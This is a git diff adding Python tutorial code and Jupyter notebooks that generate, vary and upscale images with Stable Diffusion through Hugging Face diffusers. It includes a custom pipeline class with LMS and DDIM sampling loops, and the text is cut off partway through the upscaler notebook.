subfolder='unet').to(device)\n", + "\n", + "# Load scheduler\n", + "scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, \n", + " beta_end=0.012, \n", + " beta_schedule='scaled_linear', \n", + " num_train_timesteps=1000)\n", + "\n", + "scheduler_DDIM = DDIMScheduler(beta_start=0.00085, \n", + " beta_end=0.012, \n", + " beta_schedule='scaled_linear', \n", + " num_train_timesteps=1000)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "SigUHp47f14I", + "outputId": "bad874ae-1e68-45fe-ef31-9fe887780582" + }, + "outputs": [], + "source": [ + "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n", + "\n", + "prompts = [\"A really giant cute pink barbie doll on the top of Burj Khalifa\", \n", + " \"A green, scary aesthetic dragon breathing fire near a group of heroic firefighters\"]\n", + "\n", + "imgs = model.prompt_to_img(prompts)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "8UpQ8gIWf17j", + "outputId": "165f5a5d-fe20-4303-c46f-b247efd05181" + }, + "outputs": [], + "source": [ + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "NAS1yD8vZym_", + "outputId": "ef57db7c-a6c9-437f-d27e-94b2bab06ea9" + }, + "outputs": [], + "source": [ + "imgs[1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 603 + }, + "id": "nj8pcEOupRES", + "outputId": "0ced4046-ed46-4bd0-8b77-1c23ca73dab6" + }, + "outputs": [], + "source": [ + "prompt = [\"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"]\n", + "\n", + "imgs = model.prompt_to_img(prompt)\n", + "\n", + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "GmXyduZ1npqg" + }, + "outputs": [], + "source": [ + "# saving the image\n", + "imgs[0].save(\"spaceship1.png\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "RuAHYae4r3MC", + "outputId": "c4be8be3-cacb-48f6-b70c-15ec69afe5b0" + }, + "outputs": [], + "source": [ + "# loading the image again\n", + "original_img = Image.open(\"spaceship1.png\")\n", + "original_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "qMcpCt20RyKi" + }, + "outputs": [], + "source": [ + "import torch\n", + "import gc\n", + "\n", + "### If you get OOM errors, execute this cell\n", + "# del model\n", + "# Clear the CUDA cache \n", + "torch.cuda.empty_cache()\n", + "gc.collect()\n", + "torch.cuda.empty_cache()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "1TQNiEE86Y6E", + "outputId": "2b87847d-6a63-4ec7-9cc1-7ac6a3396a48" + }, + "outputs": [], + "source": [ + "!nvidia-smi" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 547 + }, + "id": "1vIVmpL4rPmK", + "outputId": "4bbc1c35-6850-41f0-a430-39d764a59f2a" + }, + "outputs": [], + "source": [ + "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n", + "\n", + "prompt = \"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"\n", + "\n", + "imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)\n", + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 547 + }, + "id": "zOL-Y7BFai7d", + "outputId": "666384a3-667d-4715-cbe1-07566afa242d" + }, + "outputs": [], + "source": [ + "# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n", + "\n", + "prompt = \"Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon\"\n", + "\n", + "imgs = model.similar_imgs(original_img, prompt,\n", + " num_inference_steps=50,\n", + " start_step=40)\n", + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "thiXQYcG8Ekv" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Xwtu2l3-8EnJ" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Yb0H_X6i8Eqj" + }, + "outputs": [], + "source": [] + } + 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"nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/stable-diffusion-models/README.md b/machine-learning/stable-diffusion-models/README.md new file mode 100644 index 00000000..322e7759 --- /dev/null +++ b/machine-learning/stable-diffusion-models/README.md @@ -0,0 +1 @@ +# [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python) \ No newline at end of file diff --git a/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py new file mode 100644 index 00000000..1edeccc6 --- /dev/null +++ b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py @@ -0,0 +1,372 @@ +# %% +%pip install --quiet --upgrade diffusers transformers accelerate + +# %% +# The xformers package is mandatory to be able to create several 768x768 images. +%pip install -q xformers==0.0.16rc425 + +# %% [markdown] +# # Using Dreamlike Photoreal + +# %% +from diffusers import StableDiffusionPipeline +import torch + +# %% +model_id = "dreamlike-art/dreamlike-photoreal-2.0" +pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16) +pipe = pipe.to("cuda") + +# %% +prompts = ["Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background", + "Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art", + "Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic"] + +images = [] + +# %% +for i, prompt in enumerate(prompts): + image = pipe(prompt).images[0] + image.save(f'result_{i}.jpg') + images.append(image) + +# %% +images[0] + +# %% +images[1] + +# %% +images[2] + +# %% [markdown] +# # Manually working with the different components + +# %% +import torch +from torch import autocast +import numpy as np + +from transformers import CLIPTextModel, CLIPTokenizer + +from diffusers import AutoencoderKL +from diffusers import LMSDiscreteScheduler +from diffusers import UNet2DConditionModel +from diffusers.schedulers.scheduling_ddim import DDIMScheduler + +from tqdm import tqdm +from PIL import Image + +# %% +class ImageDiffusionModel: + + def __init__(self, vae, tokenizer, text_encoder, unet, + scheduler_LMS, scheduler_DDIM): + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler_LMS = scheduler_LMS + self.scheduler_DDIM = scheduler_DDIM + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + def get_text_embeds(self, text): + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + + return text_embeds + + def get_prompt_embeds(self, prompt): + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + def get_img_latents(self, + text_embeds, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + img_latents=None): + # if no image latent is passed, start reverse diffusion with random noise + if img_latents is None: + img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\ + height // 8, width // 8)).to(self.device) + # set the number of inference steps for the scheduler + self.scheduler_LMS.set_timesteps(num_inference_steps) + # scale the latent embeds + img_latents = img_latents * self.scheduler_LMS.sigmas[0] + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)): + # do a single forward pass for both the conditional and unconditional latents + latent_model_input = torch.cat([img_latents] * 2) + sigma = self.scheduler_LMS.sigmas[i] + latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2) + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample'] + + return img_latents + + + def decode_img_latents(self, img_latents): + img_latents = img_latents / 0.18215 + with torch.no_grad(): + imgs = self.vae.decode(img_latents)["sample"] + # load image in the CPU + imgs = imgs.detach().cpu() + return imgs + + + + def transform_imgs(self, imgs): + # transform images from the range [-1, 1] to [0, 1] + imgs = (imgs / 2 + 0.5).clamp(0, 1) + # permute the channels and convert to numpy arrays + imgs = imgs.permute(0, 2, 3, 1).numpy() + # scale images to the range [0, 255] and convert to int + imgs = (imgs * 255).round().astype('uint8') + # convert to PIL Image objects + imgs = [Image.fromarray(img) for img in imgs] + return imgs + + + + def prompt_to_img(self, + prompts, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + img_latents=None): + + # convert prompt to a list + if isinstance(prompts, str): + prompts = [prompts] + + # get prompt embeddings + text_embeds = self.get_prompt_embeds(prompts) + + # get image embeddings + img_latents = self.get_img_latents(text_embeds, + height, width, + num_inference_steps, + guidance_scale, + img_latents) + # decode the image embeddings + imgs = self.decode_img_latents(img_latents) + # convert decoded image to suitable PIL Image format + imgs = self.transform_imgs(imgs) + + return imgs + + + + def encode_img_latents(self, imgs): + if not isinstance(imgs, list): + imgs = [imgs] + + imgs = np.stack([np.array(img) for img in imgs], axis=0) + # scale images to the range [-1, 1] + imgs = 2 * ((imgs / 255.0) - 0.5) + imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2) + + # encode images + img_latents_dist = self.vae.encode(imgs.to(self.device)) + # img_latents = img_latents_dist.sample() + img_latents = img_latents_dist["latent_dist"].mean.clone() + # scale images + img_latents *= 0.18215 + + return img_latents + + + def get_img_latents_similar(self, + img_latents, + text_embeds, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + start_step=10): + + # set the number of inference steps for the scheduler + self.scheduler_DDIM.set_timesteps(num_inference_steps) + + if start_step > 0: + start_timestep = self.scheduler_DDIM.timesteps[start_step] + start_timesteps = start_timestep.repeat(img_latents.shape[0]).long() + + noise = torch.randn_like(img_latents) + img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps) + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])): + # do a single forward pass for both the conditional and unconditional latents + latent_model_input = torch.cat([img_latents] * 2) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2) + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample'] + + return img_latents + + + def similar_imgs(self, + img, + prompt, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + start_step=10): + + # get image latents + img_latents = self.encode_img_latents(img) + + if isinstance(prompt, str): + prompt = [prompt] + + text_embeds = self.get_prompt_embeds(prompt) + + img_latents = self.get_img_latents_similar(img_latents=img_latents, + text_embeds=text_embeds, + height=height, width=width, + num_inference_steps=num_inference_steps, + guidance_scale=guidance_scale, + start_step=start_step) + + imgs = self.decode_img_latents(img_latents) + imgs = self.transform_imgs(imgs) + # Clear the CUDA cache + torch.cuda.empty_cache() + + return imgs + + +# %% +device = 'cuda' + +# model_name = "dreamlike-art/dreamlike-photoreal-2.0" +model_name = "CompVis/stable-diffusion-v1-4" +# Load autoencoder +vae = AutoencoderKL.from_pretrained(model_name, + subfolder='vae').to(device) + +# Load tokenizer and the text encoder +tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder="tokenizer") +text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder="text_encoder").to(device) + +# Load UNet model +unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device) + +# Load scheduler +scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, + beta_end=0.012, + beta_schedule='scaled_linear', + num_train_timesteps=1000) + +scheduler_DDIM = DDIMScheduler(beta_start=0.00085, + beta_end=0.012, + beta_schedule='scaled_linear', + num_train_timesteps=1000) + +# %% +model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM) + +prompts = ["A really giant cute pink barbie doll on the top of Burj Khalifa", + "A green, scary aesthetic dragon breathing fire near a group of heroic firefighters"] + +imgs = model.prompt_to_img(prompts) + +# %% +imgs[0] + +# %% +imgs[1] + +# %% +prompt = ["Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"] + +imgs = model.prompt_to_img(prompt) + +imgs[0] + +# %% +# saving the image +imgs[0].save("spaceship1.png") + +# %% +# loading the image again +original_img = Image.open("spaceship1.png") +original_img + +# %% +import torch +import gc + +### If you get OOM errors, execute this cell +# del model +# Clear the CUDA cache +torch.cuda.empty_cache() +gc.collect() +torch.cuda.empty_cache() + +# %% +!nvidia-smi + +# %% +model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM) + +prompt = "Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon" + +imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30) +imgs[0] + +# %% +# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM) + +prompt = "Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon" + +imgs = model.similar_imgs(original_img, prompt, + num_inference_steps=50, + start_step=40) +imgs[0] + +# %% + + +# %% + + +# %% + + + diff --git a/machine-learning/stable-diffusion-models/requirements.txt b/machine-learning/stable-diffusion-models/requirements.txt new file mode 100644 index 00000000..9033779d --- /dev/null +++ b/machine-learning/stable-diffusion-models/requirements.txt @@ -0,0 +1,4 @@ +diffusers +transformers +accelerate +xformers==0.0.16rc425 \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/README.md b/machine-learning/stable-diffusion-upscaler/README.md new file mode 100644 index 00000000..3ae8e02d --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/README.md @@ -0,0 +1 @@ +# [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface) \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..3fdee1e8 --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb @@ -0,0 +1,7341 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "-C875CYSCygt", + "outputId": "dd991ed9-d57f-4e5b-bee3-bcb6882369d9" + }, + "outputs": [], + "source": [ + "!pip install -qU diffusers transformers accelerate scipy safetensors" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "mAHWEPSfUlmg" + }, + "source": [ + "# Hugging Face Implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "jor1D7LvDA9l" + }, + "outputs": [], + "source": [ + "import requests\n", + "from PIL import Image\n", + "from io import BytesIO\n", + "from diffusers import StableDiffusionUpscalePipeline\n", + "import torch" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 465, + "referenced_widgets": [ + "bc72d593b56c42899ff4779e92bcf818", + "cabab037d12a455bbd283477e481d4ca", + "7cdde9f1b0f1403ababc0e3e120617c4", + "28c075d27bf8437c99b4fa8091d4d2c0", + "7c5bcff9ea9344dca52dbaa4a6545b50", + "2b68707a9749479cab4b4ecd124d87cb", + "e7274e83d2c44080bbbb2fc5ec79dfee", + "238d055bf5ff4891b2e9c6aa28a89fad", + "66a8f48777064cab94ebdfb44044fec7", + "c883ad6804cd4f628494b1eb7f432e51", + "6f1c7458863047598f98861765f325dd", + "6d0c44b7df564b87a2a688d770188184", + "502d0b0ef4c549b485c049a2dae9b4f1", + "67e1ee8ac39743d2a50db01595591f22", + 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"00cdbd64ce7d4b5a835a550ffc6b3510", + "7cc78829c6b744c380f52af44b49802a", + "03856828685f4f9791a0c00f9b4f5ed5", + "80aad8d6ac1b4b7780cd63deed9ceb11", + "0fcb664708324ec1bc56c4daa4a2dd15", + "37e24969e35c4099933ab57fac8b2599", + "efb86ed04a0d477794e70dc92219399b", + "3672f34ff79b417abb390592a3b9ed2b", + "5af1c44c0f434510abd7fe9d76f263da", + "895dd88b169e4688a51873bb1b3d2cd9", + "d3165abbffbc4da3bd4f0cb6f3437140", + "5a1be5246f2443858bd6933a89a68389", + "10d895cb5166417fa2b4cc0d2feb7b6f", + "23b55638314c4e2b967f85ab40042a6c", + "9c741e36450b4c66875df9dc3ba07507", + "cd9c9d32567f4e5aa9291f66b08490bf", + "c4995db7a62844b4a00daaf55847cabd", + "72fc113c125648538df5059fb578ae19", + "3943882166bb4470a800d9563f9e53a2", + "ad07cccdd8d44a9ab5e3458e8d902ac6", + "ff88d9a5f7d64ad7bb0f09f6c71543f1", + "080c7086e8684bb3bb857d23f426d5dd", + "37e74a92120d40ab99b8a3efeb397bd8", + "9ba492d205294bc0a8d07985ed271358", + "0a49275d970741f9b19f24569b80491a", + "4178b1767a614f89aa62f12a4e3a7350", + "c909bafccc65402fa93afea87f1b784e", + "6c32232cfb734ac3a3204a22c414fc18", + "1f37677826544166a0b63d36c9c3edac", + "a4d93e9fee48468281afac25f551806c", + "91f32130b9fc47ceaae99521c0b70015", + "e8bec5477f7c43c1a55c852ef8b7cb95", + "7a4e5fdddcd34b6cb658b94db24ba474", + "e6942466051e4a6a97c36b56d8d4e0c2", + "a8dbb00149f148ceaee2474c4304c902", + "f3c0042a67e34e72b1088b60c11ba2d0" + ] + }, + "id": "l3QZf9-UDEb0", + "outputId": "d2d9ea4c-1665-431b-c71c-bc5441522721" + }, + "outputs": [], + "source": [ + "# load model and scheduler\n", + "model_id = \"stabilityai/stable-diffusion-x4-upscaler\"\n", + "pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n", + "pipeline = pipeline.to(\"cuda\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1rZBf5X4VfbQ" + }, + "outputs": [], + "source": [ + "def get_low_res_img(url, shape):\n", + " response = requests.get(url)\n", + " low_res_img = Image.open(BytesIO(response.content)).convert(\"RGB\")\n", + " low_res_img = low_res_img.resize(shape)\n", + " return low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "VSWlrXyIDGSo", + "outputId": "1153aadd-bcc2-4365-9ce8-b02590018e49" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "c1dc0d80451c4d098f16eb6ec7eed752", + "d4c5db5f7ffe42beb2065e14cbdd755d", + "accd8a5f56cf41c5af297f8bf93f7058", + "824b0b410fed4ea1b5bc7f88236fc3e8", + "a6b2ca41ffb24b9193a83fd9a4c24a8c", + "bc9783a6d9d0437b881b01cad81c0173", + "9e5ef9fe15314ce3bf13e61994851485", + "ed9e0cfb4635476f9e31c5b48aeafde8", + "396aee75c5954aa9b634d79c18177977", + "c5f787d7f16542baa5a5657c3ecb14a0", + "be0a3bc217b04b2dbd06a90141c0dd35" + ] + }, + "id": "hPtKNnwSDA_u", + "outputId": "60b2259e-02a0-445d-da26-eca1d51b4181" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "9c2ff534109548fc8cab92f3b0aefc71", + "e417a487b9ab44d68bf5d4155f4ff339", + "ce0bc6a269b841e59b3c1b00796b8605", + "b014fb9554fb4f61a8d44135a6ad4954", + "c30445a77e81411bbad4f90b8c54bc35", + "c2ccf29c76d1461c8e820cdd1091684a", + "42248bb1fb38481eaa292dbca2d68e38", + "ac71f4fe6e804f19b2529c82e5a42049", + "518150c24b25401d92cf483e5ecb0253", + "d612163ad6d24d91a6d7ee758d8d6367", + "ab1c2c3e457944acb16508cf7a721290" + ] + }, + "id": "I1hCWlwXU5ij", + "outputId": "fca3425e-973a-4951-df52-6eebba1b96e3" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "4H0IkHfuDBB5", + "outputId": "1fceb2fc-7e6c-492f-fc5b-cbd6d64f3d65" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "xxVVHJAeDBEM", + "outputId": "f099d0db-89ef-49df-92f1-c01c861634e2" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "0c21001820524963b1214a2738c28584", + "ea062db0a1ad43af805bf2d86d26d369", + "2218df295404427eb6086c25f41946c5", + "682dc899e5ee4e24a9c0f1fc928fea6c", + "f8c3945c2c554cc9b7ea7435525c4ab4", + "b9cf936d26124cad959de16fcf5bea63", + "b3ae18d50eb4415b950f98bb38362207", + "0df5b95ccc3d4550bb1be7c001f54577", + "63a7a29ac462471eb67b275c68faff42", + "1ae88e18373a4322bddf0e51e5460a89", + "9b2140d07da744348068f013152b1160" + ] + }, + "id": "UKtH894dXWHN", + "outputId": "44bfe391-7abe-4b99-bfd3-b19e755bfdaa" + }, + "outputs": [], + "source": [ + "prompt = \"an old lady\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "cf11071b7b114118a8b0b659167fa09e", + "03bce4ac84fd40d485b023e21fe65c4f", + "d0e9965e6aa4483da2dfa546b896e645", + "22338ed9cec54338ad33267ed579603a", + "622d32a9bbda46fca3ee0733be303765", + "ec0c44e82a814774823e60634d678b0d", + "e71abb2ba1b546ff9d7acd0c174f60d4", + "1237bd63fa814b57bbd9741296d71f46", + "5b3ca63a1af5452cb81fde6020fd9c53", + "a5971d5b793545a3845fbe1029b557e1", + "8384173365364cd5996018a775b167e2" + ] + }, + "id": "L8fnlZsaDBHw", + "outputId": "9215669a-61be-4a6e-cd6b-85d212df6517" + }, + "outputs": [], + "source": [ + "prompt = \"an iranian old lady with black hair, brown scarf, rock background\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "OTJNWtuyXOnE", + "outputId": "fe9eb4f3-f7b9-481f-b17b-e2028737141e" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "dXXzMj7vXf5W", + "outputId": "1895b5c9-d87e-48e8-c580-97a3b81838ed" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg/"\n", + "shape = (450, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 453, + "referenced_widgets": [ + "64373eefa4884b3084975549efcbd7fe", + "d8b3f3c7b8394b5580d8541f20c090ae", + "634af1f0b6894726bebb7b546c667169", + "5b89e69b011a40918b1acc0adf141874", + "9c01417376444eed820394ef843c0be3", + "db833b8a924f43208063cdc7b74220f7", + "d74c7ced9e5841e0a3635bf848912874", + "6a72b26cbdf041e7a8331fdc1642dee5", + "3c4dca0b51954031905bada22feef684", + "1e276839600443fa82ca0ab00409fd99", + "639d147ac3674094be21de9f3c11477c" + ] + }, + "id": "xjH0CWRHXf7o", + "outputId": "b1ed8851-6243-43b8-d995-93129640b70d" + }, + "outputs": [], + "source": [ + "prompt = \"zebras drinking water\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 419 + }, + "id": "ydbUyEFvXf_E", + "outputId": "3028b021-c4a0-4f19-8a2e-0a3e4b19f348" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((1800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "MFt4Y1AoYWse" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Ng2oJwHqYWvz" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "NiM8uOTr9DK3" + }, + "source": [ + "# Custom\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yCuWhxws9D24" + }, + "outputs": [], + "source": [ + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "T7PrARPl9EN2" + }, + "outputs": [], + "source": [ + "class CustomSDUpscalingPipeline:\n", + " \"\"\"custom implementation of the Stable Diffusion Upscaling Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " low_res_scheduler,\n", + " scheduler,\n", + " image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.low_res_scheduler = low_res_scheduler\n", + " self.scheduler = scheduler\n", + " self.image_processor = image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds for classfier free guidance\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n", + "\n", + " image = 